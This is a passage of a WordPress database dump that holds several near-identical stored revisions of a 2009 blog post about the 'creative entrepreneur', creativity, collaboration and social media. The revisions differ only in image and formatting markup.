(661, 2, '2009-09-21 15:04:42', '2009-09-21 22:04:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="219" height="261" /></a><span style="color: #ff6600;"></span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-25', '', '', '2009-09-21 15:04:42', '2009-09-21 22:04:42', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-25/', 0, 'revision', '', 0),
(662, 2, '2009-09-21 15:06:03', '2009-09-21 22:06:03', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2.gif"><img class="alignnone size-medium wp-image-660" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-26', '', '', '2009-09-21 15:06:03', '2009-09-21 22:06:03', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-26/', 0, 'revision', '', 0),
(663, 2, '2009-09-21 15:07:29', '2009-09-21 22:07:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2.gif"><img class="size-medium wp-image-660 alignnone" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2-252x300.gif" alt="ideas" width="450" height="536" /></a>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-27', '', '', '2009-09-21 15:07:29', '2009-09-21 22:07:29', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-27/', 0, 'revision', '', 0);
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(664, 2, '2009-09-21 15:08:12', '2009-09-21 22:08:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2.gif"><img class="size-medium wp-image-660 alignnone" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2-252x300.gif" alt="ideas" width="450" height="536" /></a><span style="color: #ff6600;"> </span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-28', '', '', '2009-09-21 15:08:12', '2009-09-21 22:08:12', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-28/', 0, 'revision', '', 0),
(671, 2, '2009-09-21 15:18:11', '2009-09-21 22:18:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-33', '', '', '2009-09-21 15:18:11', '2009-09-21 22:18:11', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-33/', 0, 'revision', '', 0),
(665, 2, '2009-09-21 15:10:22', '2009-09-21 22:10:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2.gif"><img class="size-medium wp-image-660 alignnone" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas2-252x300.gif" alt="ideas" width="450" height="536" /></a><span style="color: #ff6600;"> </span><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-29', '', '', '2009-09-21 15:10:22', '2009-09-21 22:10:22', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-29/', 0, 'revision', '', 0),
(669, 2, '2009-09-21 15:16:37', '2009-09-21 22:16:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills 